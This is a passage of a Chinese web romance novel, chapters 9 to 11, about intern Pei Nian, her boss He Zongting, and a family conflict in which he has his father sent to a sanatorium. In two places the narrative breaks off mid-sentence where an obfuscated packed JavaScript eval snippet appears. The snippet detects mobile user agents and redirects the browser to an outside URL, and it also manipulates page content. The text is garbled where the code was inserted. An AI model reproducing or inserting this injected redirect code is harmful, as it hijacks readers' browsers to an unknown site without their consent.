范成钰见她这样,也跟随她一起扭头冲贺宗霆笑了下。 贺宗霆眉心拧得重了些,眼不见心不烦一样侧过了身,视线看向落地窗外的夜色。 裴念哽了下,心里吐槽他狭隘,一点小事都要生气。 范成钰没被这个小插曲影响,继续找话题同裴念聊,眼睛始终落在她脸上。 裴念被他盯得时间长了,心里便明白他的意图,再开口时对他的态度便冷淡下来。 范成钰平日里被女孩追捧惯了,猛地被裴念冷落,反倒觉得稀罕起来,拿起她的酒杯问:“给你点杯莫吉托?度数低,适合你们女孩儿喝。” 裴念平常挺爱和顾免小酌一杯,今天为了止住范成钰的话头,摇头说:“我不喝酒。” “不喝酒啊…”范成钰想了想:“那给你点杯牛奶?” 裴念:“抱歉,我乳糖不耐受。” 范成钰朝她倾身,用开玩笑的语气说:“这也不行,那也不行,一点献殷勤的机会都不给啊裴小姐?” 裴念不动声色朝后挪动身体,正色道:“抱歉啊,我有喜欢的人了。” 喧闹的包间在她这句话落地后静了几秒,众人的视线在她和范成钰之间摇摆,很快便明白过来发生了什么事。 按说饭局上哪家公子哥儿看上哪家姑娘,这种事普通到算不上谈资。 可这姑娘是贺宗霆的前未婚妻就另说了,即便大家都心知肚明贺宗霆对裴念没任何感情,还是忍不住朝他瞥上一眼。 贺宗霆果然不出他们所料,同电话里的助理吩咐着什么,根本当身后的饭局不存在,即便裴念现在答应了范成钰的追求,他也不会回头看一眼。 一门心思放在裴念身上的范成钰压根没意识到周围微妙的视线,赖笑着说:“我当是什么让你一直拒绝我,不就是个喜欢的人嘛,有什么大不了的,换一个就行啦。” 刚刚一直在和人聊生意的顾免扭过身来,倾身推了他一把:“以为谁都跟你一样浪荡啊,我们念念可是很纯情的,你少招她。” 顾免随是玩笑语气,脸上表情却端着警告。 范成钰讪讪端起酒杯喝了一口,没再靠裴念那么近,但仍然不死心,拿出手机打开微信界面送到裴念眼前:“这样吧,我们加个微信,下次来吃饭不用预定,找我就行。” 裴念手机在包里,不想拿,也不想加,实话实说道:“太贵了,我平常不来这里吃饭。” 范成钰不依不饶:“贵不是问题啊…你来吃饭想打几折都没问题…” 嗡嗡,一阵熟悉的微信铃声从裴念的包里发出,适时的打断了范成钰的话。 裴念松了一口气,侧身从包里拿出手机,看到屏幕上的来电人后,心跳声猛地鼓噪起来。 H居然给她打来了语音电话! 裴念努力抑制住激动的情绪,和范成钰谎称要接工作电话,紧捏着手机出了包厢。 几个服务生穿梭在走廊,裴念小跑着来到楼梯间,关上门,才去按接听键。 颤抖的指尖刚触碰到屏幕,H忽然把电话挂了。 裴念看着屏幕上的未接听愣了一会儿,大脑还未分析出H此番行为究竟有何意味,对话框动了。 H:【打错了】 裴念提到喉口的一口气瞬间散了,她攥着手机短暂地把H评为了她最讨人厌的人类。 在楼梯间默默生了一会儿气,实在没有给H打电话质问的勇气,她又怂怂地回包间了。 包间内没有她出去前那么热闹,裴念留意了下。 贺宗霆已经打完了工作电话,坐在主位上喝茶。 而范成钰不知何时已经离开。 / 才从饭店出来,顾免就接到了工作电话,公司最热的艺人被爆幽会已婚男,热搜已经炸了,她挂断电话就急匆匆去开车,着急往公司赶。 裴念送到她车前,叮嘱她:“开车别分心,到公司再接电话。” “知道了宝贝。”顾免甩上车门又降下车窗:“你自己打车回…” 话说一半,她意识到这里位置偏僻,出租并不好打,顾免脑袋探出车窗,在停车场内看了一圈,目光锁定正开车门的贺宗霆:“贺总——我公司有急事,麻烦你送一趟你司员工呗!!” 贺宗霆闻言转头,看向一脸懵的裴念。 她没想到顾免会拜托贺宗霆送自己回家,以她对贺宗霆的了解,他必然是不愿意接手她这个麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296236|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦的。 于是她很是知趣地对贺宗霆说:“贺总你不用管我…” 顾免对她的拒绝感到不满,截断她的话,伸出手把她往贺宗霆的方向推了把:“那就谢谢贺总啦,改天请你吃饭。” 说完她就开车走了。 留下裴念讷然立在原地,顾免一番话已经给贺宗霆戴上了高帽,裴念再开口不免心虚:“你不用管她,我这就打车。” 贺宗霆没上车,抱着手臂目光审视地看着她。 裴念压力骤增,快速掏出手机打开打车软件,点击下单后,系统开始搜寻,一分钟过去了,仍没有司机接单。 贺宗霆问:“好了?” 裴念尴尬朝他举了举手机:“还需要再等一会儿。” 贺宗霆没说话,拉开正对她的副驾驶车门,绕过车头从另一侧上了车。 除了上车时道了声谢,一路上裴念都没有说话,一方面她和贺宗霆确实没话聊,另一方面她还在琢磨和H的事。 途径商业街,裴念忽然想起要给大壮买罐肉,便小声叫住了贺宗霆:“到前面的宠物店停一下好吗?我买点东西。” 贺宗霆嗯了一声,把车停在了门外。 裴念怕耽误他时间,没多逛,快速挑了些大壮爱吃的罐头就结账出来。 回车上时,却被一个幼儿园模样的男孩绊住了脚。 男孩只到裴念膝盖,胖嘟嘟的胳膊一把抱住她,呜呜哭着叫“妈妈”。 裴念哽了一秒,蹲下来耐心地问他:“小朋友,你是不是跟妈妈走丢了呀?” 男孩努力睁大裹满泪珠的眼睛,看清她的脸之后后退了一小步,双手仍紧紧抓着她:“妈妈之前就在这里…现在不知道跑哪去了呜呜呜呜。” 裴念拿出纸巾给他擦泪,温柔地问:“你是什么时候跟妈妈分开的啊?” “不,不知道,呜呜我不知道。”男孩说着伸手抱住了她的脖子,放声哭了起来。 车内的贺宗霆听到动静,走过来问:“他怎么回事?” 简单的一句问话,经带着威严的语调说出,仿佛像在质问。 男孩从裴念怀里抬起头,努力仰着头看了他一眼,当即吓得瑟缩,瘪嘴就要哭。 贺宗霆不动声色道:“安静。” 男孩立刻把哭声咽了下去,任由眼泪在眼眶中打转。 贺宗霆这时才难得拿出了些耐心,在男孩面前蹲下身,平声问:“妈妈是不是和姐姐穿得很像?” 男孩点头。 贺宗霆朝后面的宠物店抬下巴:“你和妈妈在这家店买了什么?” 男孩伸出手抹了把眼泪:“给豆豆买了玩具。” 贺宗霆点头,摸了下男孩的头,去店里和店员协商调取监控,找到和裴念穿着相似的女人后,对应收款记录找到了对方的电话。 男孩妈妈接到电话很快就赶来,原来她和孩子是在隔壁街道走散,正发动全家人在隔壁街寻找,没想到孩子竟自己跑回了买过东西的宠物店。 贺宗霆在人来之前就回了车上,裴念以一己之力拒绝了男孩妈妈硬塞给她的钱,三步并作两步讨回了车上。 看着贺宗霆面不改色地发动引擎,裴念小声指责:“明明是你帮了人,干嘛让我去面对别人的感谢啊。” 贺宗霆侧目:“是你决定要帮。” 看出他嘴硬心软,裴念扬起唇角:“干嘛不承认,你不仅帮了那男孩,今天在裴家你还帮了我。” 裴念侧过身看向他的眼睛:“我还没对你说谢谢呢。” 车顶的灯开着,是冷气也驱赶不走的燥热暖黄。 贺宗霆低眸,朝她越界的手肘看了眼:“我提醒你,我只是作为老板在帮你。” 即便是同样坐着,贺宗霆仍比她高大太多,可他此刻垂着睫毛,在灯下有种不符合他性格的温顺气质。 裴念笑着“噢”了一声,得寸进尺地开玩笑:“那如果我是作为朋友感谢你呢,你会不会生气呀?” 眼前忽然一黑,贺宗霆眯起眼睛看向她,左手按在副驾驶的车窗,闷的一声咚,击打在她耳膜。 看着贺宗霆近在咫尺的深邃眉眼,裴念忽然觉得氧气不够用了,甚至需要微张着嘴巴辅助呼吸。 一直到她头脑昏胀,贺宗霆才回答她:“会。” 10. 第 10 章 余光扫到贺宗霆的手掌向下移动,裴念心里一惊,嗓音绷紧了问:“你做什么?” 贺宗霆用行动回答她,指尖扯下她身侧的安全带:“安全带都不系?” 裴念接过低头扣上,脸有些热:“我忘了…” 贺宗霆不置可否,抬手发动引擎,一时间车里只有轿车低鸣的躁动,衬得车内的气氛更加安静。 裴念侧目看了他一眼,心里琢磨着说点什么场面话来缓解气氛,贺宗霆放在中控台上骤然响起急促的铃声,他拿手机接听,听电话那头的人说了两句,眉心整个蹙起。 “稳住他,我现在回去。” 贺宗霆说完就挂断了电话,握着方向盘的左手手指收紧,青筋浮现在手背。 裴念感觉到他的低气压,下意识问了句:“出什么事了吗?” 贺宗霆像是才意识到她还在车上,侧目看了她两秒,冷峻的眉毛抬了下:“需要向你报备?” 裴念立刻意识到自己越界了,攥紧了安全带:“不好意思,我不是那个意思。” 贺宗霆不知道有没有把她的解释放在心上,紧蹙的眉心没有舒展的痕迹。 这条商业街离她住的地方不远,时间还不算太晚,没必要让有急事的贺宗霆再送自己一趟,更何况他此刻心情明显不佳。 裴念把刚刚扣上的安全带解开,轻声说:“你快去忙吧,这儿离我家很近,我走回去就行。” 不等贺宗霆说什么,她干脆的下了车。 夏天的夜晚不似白天闷热,凉风顺着街道穿梭,裴念站在摇摆的柳树枝条下看着贺宗霆的车走远,懊恼地拍了下自己的脑袋,暗暗警告自己以后和老板相处要知分寸,别乱说话。 / 别墅上下三层都亮着灯,仆人都集中在一楼,面色凝重地围在贺老爷子四周。 贺宗霆推开门进来,除了端坐在茶几旁擦拭碎掉的瓷杯的贺霖江,其他人都纷纷看了过来,紧绷着一张脸的管家表情松动了些,快步迎了上来:“您来了。” 话音还没落地,走廊尽头的房间传出重物击打地面的闷响。 仆人们脸色皆是一凛。 贺宗霆只淡漠地朝紧闭的房门扫了眼,在沙发旁坐下,接过宋妈递来的茶杯,抿了一口,问管家:“怎么回事?” 管家快速将事情经过讲了一遍。 贺宗霆的父亲,贺家的独子贺同章回京市一个月以来第一次踏足老宅,目的不是为了探望许久未见的亲人,而是为了来质问父亲贺霖江将自己的女友藏到哪里去了。 没得到诚心如意的回答,反而被贺霖江怒斥了几句不孝子,贺同章恼羞成怒推翻了桌子,砸坏了价值连城的古瓷杯,并拿着瓷片威胁不让人靠近,被管家联手一众下人连拉带拽地锁进了会客室。 听到客厅的动静,被关起来的贺同章发怒地拍打房门,压抑着疯狂的声音从门缝里挤出来:“贺霖江你凭什么拆散我和林柔,你是威胁她了还是把她藏起来了?!” 贺霖江被儿子这么指名道姓地吓问,威严的脸上阴云密布,他将残损的瓷片重重掷到茶几,如洪钟的声音穿透整个房间:“我凭什么?就凭这个家现在还是我说了算!再由着你乱搞,你怕不是还能给贺家搞出个野种来!” 管家听完倒吸一口凉气,惊诧地看了眼贺霖江。 一众仆人大气不敢出,唯唯诺诺地低垂着眉眼,生怕自己碍了眼。 老爷子说的是气话,也是埋藏在心里的真实想法,贺宗霆的生母从没被贺霖江所认可,甚至没被允许踏足过这个家门。 这个话题在贺家一直是禁忌,猝不及防被赤裸地宣之于众,连在贺家工作三十多年的管家都觉得不好收场。 贺宗霆却像是没听到,神色冷静地放下茶杯,起身道:“钥匙给我。” 管家找出会客厅的钥匙交到他手中,跟着他去到会客室的门口。 贺宗霆旋开门锁,对他说:“你在门口等着。” 目睹贺同章失控的管家不放心贺宗霆一人进去,踟蹰道:“可…” 贺宗霆没有给他继续说下去的机会,侧目挑了下眉。 对上他冷峻的视线,管家当即垂眼:“那您有事叫我。” 相比客厅的规整,会客室此刻一片狼藉,成套的茶具砸碎在地,桌凳翻得翻折的折,沙发罩凌乱地堆在地板,贺同章背对门蹲着,双手绝望地捧着脸。 听到动静,他回头,看清来人后,布满血丝的双眼立刻有神了起来。 他踉跄着起身,三两步走到贺宗霆身边:“儿子,你总算来了,你得帮帮爸爸…” 贺宗霆面上八方不动,走到沙发上坐下,示意贺同章在对面坐下,然后才开口:“你今天是来问林柔的下落?” 贺同章见状就明白他知道内情,双手紧攥着躬身凑近:“对,对,小柔月初说要回一趟上海老家,刚开始还接电话,后来消息也不回了,之后再打电话已经成了空号。” “我哪都找遍了,都没她的影子,一个大活人就这么消失了,你说可能吗?”贺同章神左脚神经质地一下下点着地板,咬牙切齿道:“除了贺家,除了他贺霖江,谁还有这种手眼通天的本事?” 贺宗霆:“去她老家找了吗?” “…去了,”贺同章的气势倏尔弱下来:“她说的那个地址是个废弃厂房。” 贺宗霆颔首:“那就是她骗了你。” 贺同章放慢了点脚的频率:“兴许是她打错字了,不论骗没骗我,总得先找到人再说……” “她老家不在上海,”贺宗霆语气平淡地说:“父母在她小时候离了婚,都移民到了国外。” 贺同章没纠结贺宗霆为何知道的如此详细,语气焦急地问:“那她也是去了国外?哪个国家?” 贺宗霆并未回答他的问题:“她说一直想去国外定居,跟你提了很多次,你都没有表示,而我,有这个能力帮她。” 贺同章愣了一下才反应过来他话里的意思,当即粗喘着起身:“原来是你干的好事,你是我儿子,怎么能这么对我?!” 贺宗霆冷静的像个法官:“她图名利你空有虚名,现在的结果注定会发生,我只是让它提前了。” 贺同章颓然地跌坐在沙发上,失去光彩的眼睛像看怪物一样看着他:“原来是你干的,你小时候不是这样的,现在居然变得和贺霖江一样冷血。” 贺宗霆没因他感怀的话有任何触动:“那你也应该清楚爷爷的手段。” 说完他耐心告罄地起身,才走了两步,余光扫到贺同章朝他扑过来的身影,本能地伸手去挡,虎口处立刻传来尖锐的疼痛,地板霎时间被鲜红的血滴覆盖。 他只皱了下眉,便反手擒住贺同章攥着瓷片的手腕,用力一扭,贺同章便歪斜着倒在了地板,沾着鲜血瓷片再次跌落在地,砸成更小的碎片。 管家听到动静,顾不上什么推门而入,看到室内的场景,急忙叫宋妈去拿医药箱。 贺宗霆抽出纸巾暂时止血,对管家吩咐接下来的事宜:“父亲精神状态不好,联系一下金塔疗养院空出一间VIP房间,今晚就要。” “我这就去办。”管家这次没再迟疑,立刻拿出手机去走廊打电话。 贺宗霆离开房间时,又看了眼地上的贺同章,记忆里他年轻俊朗的面容此刻被痛苦裹挟,像是一下子老了十岁。 宋妈拿来了医药箱,他收回视线,挡住了宋妈想帮他包扎的动作,简单包扎了一下就去了客厅。 贺霖江正要回房间休息,看到贺宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303519|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霆手上缠着的纱布,沉着声问:“事情办妥了?” 贺宗霆颔首:“先送去金塔疗养院。” 贺霖江略一点头,把手臂递给一旁候着的保姆,让人搀扶着上了楼。 疗养院的车离开别墅后院,贺宗霆才掏车钥匙开车,但并没记着进去,他从口袋摸出烟盒,抽出一根点上。 深夜的别墅区寂寂无声,别墅只留了一楼客厅的落地灯,暗淡的光从落地窗透出来,在修建的整齐的草坪铺上了一层薄霜,死气沉沉看不出任何生机。 叮,放在口袋的手机接收到消息,亮起屏幕。 几个小时前从他车上下来的nn发来了一条微信。 他盯着看了两秒钟,收起手机,没有点开消息。 / 裴念开始跟组做新车上市的策划案,这关系到她的实习转正,她又开启了每天最早来公司最晚走的卷王模式,和H聊天的频率急剧缩短。 而H貌似也很忙,她偶尔抽空发过去的消息,H要么隔天回要么干脆就不回。 这天她照常一口气忙到半下午,忙中抽空去茶水间给自己泡杯咖啡,咖啡机运作时,手机日历忽然蹦出来一条提醒—— 恭喜你达成和黄晟聊天一个月的成就,下个月继续努力[鼓掌][鼓掌]。 裴念大脑愣了一下,不禁感叹她加上黄晟居然已经过去一个月了,可他们之间的关系好像并未提升太多。 要怪就怪她平常聊天过于懈怠,裴念暗自决定下个月她一定要努力多和黄晟交流感情。 说干就干,她打开和H的对话框,直接一顿真情输出:【报告!今天是我们聊天的第一个月整,希望下个月也能好好相处!!ps:期待一个月后的见面,好想快点见到你> 消息才发出去,脚步匆忙路过茶水间的总监叫住了她:“小裴,你上楼给贺总送个文件。” 裴念收起手机接过文件:“好的张总。” 总监走后,裴念把咖啡放回工位,她的职级不够,去总裁办需要在电脑上申请,她拍过文件照片发给负责人,等申请通过才上楼。 顶楼大小和其他楼层一样,唯一不同的是光是秘书的办公间都比他们一排的工位大,更别提总裁的办公室。 秘书已经得知她要到来,给贺宗霆打了通电话,示意她直接进去就行,但裴念进去前还是先敲了一下门。 贺宗霆本周一直在忙集团总部的事务,今天才抽空来了趟跃维,坐下没多久就收到了裴念的思念短信。 又过了没多久,这人就直接上楼来送文件了。 “贺总,您的文件。”裴念走到办公桌后,把文件放到桌上。 贺宗霆视线从电脑上移开,不知为何在她脸上停留了两秒。 裴念朝大门指了下:“那我就先下去了?” 贺宗霆嗯了一声,垂眸去拆咖啡的包装,左手手腕从深色西装内伸出,露出虎口处包扎的一截纱布,包的潦草,隐约可见一点肉色的伤疤。 裴念大学参加过救助志愿活动,懂一些基本的医疗知识,当即没过脑子地提醒:“别喝,咖啡会影响伤口愈合速度。” 贺宗霆停下拆咖啡的动作,又用那种讳莫如深的眼神看着她,偏浅的瞳孔被冷光灯照着不带温度。 裴念意识到自己又越界了,她下意识咬了下唇瓣,语无伦次道:“我就是,随便一说,大概,也许影响没那么大…” 贺宗霆修长的指尖拨了下咖啡杯的盖子,锋利的眉毛挑了下,这次压迫感却没那么强,有种似笑非笑的意味。 裴念喉咙微紧,攒着指尖微低了下头:“…你喝吧,我走了。” 她转身要走,贺宗霆却把咖啡朝她推了推,水汽在桌面上留下一圈濡湿的痕迹,“给你。” 11. 第 11 章 周六晚上,裴念罕见地没有加班,顾免拿下一个热门影视项目,约她到会所参加庆功宴。 顾免是庆功宴主角,抽不开身,电话里告诉她派了人来接她。 裴念本以为来接自己的会是顾免的助理,到会所门口,看到大门处朝她招手的年轻男人她不禁愣了下神。 穿着一身订制潮牌的年轻男人三步并作两步走到她面前:“裴小姐,不会已经把我忘了吧?” “怎么会。”裴念笑了下:“小刘,你现在在跟小免做事啊?” 刘睿嗨了一声,带着她往会所内走:“这不是上次在酒店帮你们要电话,我怕事情败露黄总把我开了,就问顾总有没有合适的工作机会,她觉得我外形不错让我去她公司做演员了。” 裴念朝他精致的脸上看了看:“你长得确实适合,有没有拍什么戏啊?” “我最近演的清宫戏配角反响不错,还上了几次热搜。” 裴念惊讶道:“是吗?我怎么没印象呢,”她拿出手机嘴里念叨着搜:“刘睿…” “裴小姐,我现在不叫刘睿啦,”小刘凑过来在她的输入框打下三个字:“得搜艺名,□□轩。”他得意地冲裴念扬了扬眉毛:“是不是洋气多了。” 说完两人都笑了,去包厢的路上,两人脑袋凑在一起看热搜的内容,边看边笑着讨论。 裴念聊得专注,没注意到对向走来的人,手肘不小心撞到对方的西服,忙抬头和人道歉。 看清撞到的人之后,她蓦然怔住,脸上的笑意还未收回,有些呆地看着对方。 黄晟越过贺宗霆看了过来:“呦,裴念。” 裴念被他一叫回过神,磕磕绊绊地点头:“…嗨…黄,黄晟。” “这么巧。”黄晟手搭贺宗霆的肩膀,桃花眼弯着冲她笑了笑:“来玩?” “对,是的。”裴念感觉自己不会呼吸了,看着黄晟太紧张,只好把视线移到贺宗霆身上:“顾免今天有庆功宴。” 贺宗霆目光似有若无瞥向挨在裴念身侧的小刘,小刘当然还记得被这个控制狂找茬儿的经历,低着头往裴念身后躲。 裴念安慰地拍了拍他的手臂。 贺宗霆移开视线:“走了。” 黄晟不疑有他,对裴念摆了下手:“拜拜。” “拜拜。”裴念眼巴巴看着黄晟转过头去,冷不丁和贺宗霆冷淡的视线相撞,眼睛快速眨了一下,礼貌地点了点头:“再见,贺总。” 裴念入职跃维的事贺宗霆没有和黄晟说过,黄晟听到她这声招呼,凑热闹不嫌事大地跟着叫了声:“贺总。” 贺宗霆斜睨他一眼,黄晟暂时闭了嘴,等走远了才问:“裴念去你公司了?” “嗯。” “你说她只是为了工作?还是对你余情未了?” 贺宗霆没打算把裴念暗恋他的事告诉任何人,他认为这种事不该被当作谈资传播。 “工作。” 听他这么说,黄晟也没有起疑:“我看也是,她刚刚撞到你说话都不自然了,显然是怕你。” 结合裴念线上线下多次的造次,贺宗霆并不这么认为,淡淡反问:“是么。” / 进包厢和顾免喝了两杯酒,裴念就兀自缩在沙发一角,回味刚刚和黄晟短暂的碰面。 这一个月来,加上在贺宗霆车内远远见上的那一面,她也只和黄晟见了三次而已。 裴念深知机会稀缺而易逝,当即打开了和H的对话框,试探道:【今晚的月色好美啊,你看到了吗?】 大概是没在工作的缘故,H这次居然很快就回:【?】 裴念还没懂这个问号什么意思,H又给她发了张图片。 如墨的夜色中懒懒挂这个边界模糊的月亮,惨淡的乌云弥漫在月亮周围,遮掉了大半的月华。 怎么看都和美沾不上边。 裴念看着照片尴尬了两秒,待看清月亮下的音符招牌后,心跳又猛地雀跃。 她刚才上楼的时候经过阳台看到了同样的招牌,也就是说黄晟此刻正在阳台。 裴念按耐住激动的心情,借口去卫生间,一路朝着阳台的方向走去,脑海里想了一万种开场白,怕冷场,出门前她甚至还揣了两颗话梅糖。 阳台上摆了很多绿植,影影绰绰挡住了很多光线,裴念轻推开阳台的玻璃门,只见围墙边站着个穿白衬衫的身影。 她记得在走廊碰见时,黄晟就是这副打扮。 裴念深深吸了一口气,装作放风的样子朝围墙边走去,走了两步忽觉不对,这人的背影看起来比黄晟要高大一些。 她脚步踟蹰之间,男人听到动静偏过头来。 夜色下贺宗霆的五官更为深邃,浅色眸子隐藏在半明半昧间,有种脆弱的美感。 这当然是一种错觉,贺宗霆彻底转过身来,还是那副倨傲淡漠的神情。 组织好的语言只得用在他身上,裴念不太高兴地说:“好巧啊,你也来透气啊。”说完还不甘心地问了句:“怎么不见黄…你的朋友呢?” 贺宗霆侧倚着栏杆:“他先回去了。” 裴念瓮声瓮气地“喔”了一声。 相顾无言,她说了来放风,又不好直接就走,只好走到另一觉角的栏杆边,撕开一颗话梅糖吃。 她穿着休闲的吊带长裙,没有口袋,糖纸在手心里攥了一会儿,还是决定扔到位于贺宗霆附近的垃圾桶内。 仍完后,她本想再做做样子就走,看到贺宗霆正拿着杯喝了一半的酒,脚步顿了下。 贺宗霆也是奇怪,注意到她的动作后,居然问:“想喝?” 裴念摇头,一本正经地告诉他:“喝酒也不利于你伤口的恢复。” 可能真是没被人这么唠叨过,贺宗霆直接朝她伸出左手:“你要检查么。” 没见到黄晟,裴念心情本就低落,被他一激,真的不管不顾上前去看他的手掌。 规矩严谨如贺宗霆,大夏天袖口仍扣着,裴念不由分说解开那颗碍事的纽扣,把伤口整个露了出来。 伤口不长,从虎口延伸到手腕,已经结了痂,但伤疤狰狞,边缘不规整,在昏昧的灯光下看起来也触目惊心。 裴念皱眉:“这是怎么弄的啊?” 贺宗霆语气平淡,根本没这伤当回事:“没看到划的。” 裴念不知道什么样的伤才能引起他的注意,表情挺严肃的叹了口气:“你可小心一点吧,这么大人了还这么不注意,受伤就算了,一点养护意识都没有,你少喝点酒说不定疤痕都没这么严重…” 贺宗霆今晚情绪应该不错,听她叽里呱啦讲了这么多废话也没不耐烦,锋利的眉毛微压,瞳孔隔着夜色看她。 敛着脾气纵容她似的。 裴念越说声音越小,直至彻底消音,窘迫浮上心头,咬了咬舌头,低声道:“抱歉,我有时候会比较话唠…” 贺宗霆垂了下眼睛:“知道。” 你知道什么啊。 裴念心里腹诽,我有没经常对你这样。 碍于他是老板,裴念表面上还是恭恭敬敬的:“那你继续,我回去了,顾免该找我了。” “等等。” 贺宗霆忽然直起腰,压迫感瞬间朝她袭来。 裴念后退一步,没什么气势地问:“还有事吗?” 贺宗霆下颌朝手腕一抬:“扣子扣好。” 裴念看着他左手被她解开的纽扣,哽了一下:“哦……” 虽然觉得他事多,但裴念还是任劳任怨给他重新扣好。 / 裴念回包厢的时候,顾免正好出去接工作电话,沙发上围坐着一些人正在聊天。 有眼尖的看见裴念,随即将她拉了过去,低声问:“贺家最近发生的事你知道吗?” 裴念茫然地摇了摇头。 “裴念肯定不知道啊,她早和贺家没关系了。”有人说到。 裴念随口问了句:“什么事啊?” 那人也不卖关子:“贺宗霆把他爸给软禁了,天垚的孙总前几天在金塔疗养院看到了贺同章,瘦地不成人样。” 不等裴念再问,众人已经七嘴八舌将事情经过捋得清清楚楚。 “这几年贺同章没少曝出和小明星模特的绯闻,最近的一次竟然是在京市,当时就有传闻说贺宗霆出面解决的这件事。” “贺同章应该是不满意到贺家去闹,樾府有人听到动静出去看,看到疗养院的车来接人,贺宗霆签的字。” “听说那天晚上还动刀了,至于是谁拿的就不知道了……” 裴念蓦然想起贺宗霆手上的那道狰狞的伤疤,难道不是他自己不小心,而是被人划伤的。 之前在生意场上被贺宗霆立过下马威的席家公子撇了撇嘴:“我猜是贺宗霆,他手段可是出了名的狠戾,就是没想到他居然冷血到对自己的亲爸动手。” “我听说贺宗霆从小就在贺家老爷子身边长大,和贺同章没感情也正常吧。” “是吗?”有人表示疑惑:“我怎么记得贺宗霆小学才来的京师……” 一时间席间众说纷纭,最后仍是求证到了唯一和贺家接触过的裴念身上。 “裴念,你应该知道内情吧,毕竟以前你没少去贺家。” 刚接触贺家的时候,她才上高中,周芸怕她不知内情说错话,便告诉了她一些贺家的秘闻,贺同章在国外读书时认识了贺宗霆的妈妈,两人很快就有了孩子,贺霖江得知后勃然大怒,逼迫他们把孩子打掉,热恋中的两人只好私奔。 可惜好景不长,没过几年两人就过不下去分了家,才上一年级的贺宗霆也是那个时候被接回贺家的。 周芸当时对她千叮咛万嘱咐这传闻自己知道就行,千万不要多嘴外传,否则贺家人会生气。 可不论是过去还是现在,裴念都认为大肆谈论别人的不幸是件卑鄙的事,而且她觉得就算贺宗霆再薄情寡义,听到这些也会感到一点难过。 裴念敛眉起身:“我不知道,也不想聊。” / 张芮之生日,下午工作到一半,行政抱着束鲜花送到她的工位,并叫大家一起去餐厅吃蛋糕喝下午茶。 跃维财大气粗,给员工订的蛋糕足有两层,别的部门有谁路过餐厅都分得一份,就连来买咖啡的副总也凑热闹吃了一块蛋糕才走。 副总离开后,有胆子大的员工提议:“副总都吃了,要不要给贺总送上去一块啊。” 总监听后直摇头:“贺总从不吃零食。” 该同事笑道:“可以想象,咱们贺总要是过生日恐怕一碗长寿面就够了。” 裴念混在人群里赞同地点头。 她中午吃得多,又在工位坐了半下午,胃里还鼓胀着,因此只喝了杯茶,蛋糕被她打包放进了茶水间的冰箱,想着晚上加班饿了吃。 但回工位后她一忙就忘了这茬儿,快下班时顺手打开外卖软件点了份轻食,下楼取餐时才想起来还有份蛋糕放在冰箱,只好加完班带回家当宵夜。 取完外卖后,裴念为提高加班效率,又拐去咖啡店买了杯咖啡,在窗口处等待时,站在跃维大门前的一个人忽然走到了她身后,轻声叫住她。 “姑娘,你在这儿上班?” 听到这话裴念立刻警觉,把胸前挂着的工牌翻转过来才回头。 来人是一个四五十岁年纪的中年女人,穿着考究,面色和善,尽管脸色带着些许疲惫,但仍能看出是个美人。 裴念放下了一点皆备:“有什么事吗?” “我来找你们贺总有事,你能不能帮我给他打个电话?” 女人怕她不答应,说话时朝她走近半步,裴念一下看清了她的眼睛,浓密的睫毛下是浅棕色色的瞳孔。 裴念愣怔了两秒:“抱歉,我没有贺总的电话。” 她没撒谎,作为基层员工她没有直接联系总裁的权利。 女人听完眼睛里流露出哀求的情绪:“姑娘,你帮帮忙,你在跃维工作,总有办法联系到你们贺总。” 裴念吞了吞喉咙,一时间不知道该怎么办,这要是个完全陌生的人她定然会直接了当的拒绝,可这人眉眼偏偏和贺宗霆长得有七分相似。 她犹豫了下,压低声音问:“我冒昧问一下,您是贺总什么人?” 女人沉默了几秒钟,哑着嗓子说:“我是他妈妈。” 裴念猜测落到实地,更加做不了决策,她想了想,让女人先到咖啡店外的休息区坐下,自己到一旁给杨泽打了个电话。 杨泽听到她要高理的电话有些惊讶,但听出她语气中的迟疑,便没有多问,挂断电话后很快便给她发来了高理的名片。 幸运的事,高理此刻还在公司,听她说明情况后让她在楼下稍等片刻。 十分钟后,高理拎着公文包来到咖啡店门口。 女人倏地起身,急切地问他:“他同意见我了?” 高理安抚地拍了拍她的肩:“缪阿姨,我们贺总现在还在加班,只能抽出十分钟见您,您能理解吧?” “我理解。”缪静这么说着,眼眶却逐渐红了:“那我现在能上去了?” “你跟着小裴上楼就行。”高理从包里拿出一个万能工牌交到裴念手里,对她说:“我现在得去送文件,其他助力都下班了,可能要麻烦你去倒个茶。” “不麻烦。”高理离开后,裴念就带着缪静进了公司大楼。 电梯上行时,缪静问了她一些公司的问题,话说到最后还是落到了贺宗霆身上。 “你们贺总平常忙不忙?” “他经常加班吗?” “饭有没有按时吃…” 听她说这些,裴念觉得她和全天下所有心疼孩子的母亲一样。 可等到电梯到站,缪蓝紧张地攥紧托特包袋,裴念才意识到,她应该很久没见过贺宗霆了。 到了办公室门口,裴念敲了敲门,听到回应才拧开门把,带着缪静进了房间。 贺宗霆确实在忙,偌大的办公桌堆满了资料,茶几上放着未曾打开的餐盒和一杯咖啡。 “贺总,缪女士来了。”裴念说完就退了出去,把空间让给他们母子俩,她去茶水间泡茶。 她记得高理说的 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“我当时不知道你爸已经走了,要是知道的话绝对不会把你自己留在出租屋…是妈妈对不起你,但都过去这么多年了,你还不能原谅我吗?” 听着办公室内断断续续的质问,裴念在茶几旁站了好一会儿,攥着托盘的指尖用力到发白,被空调的风吹得冰冷。 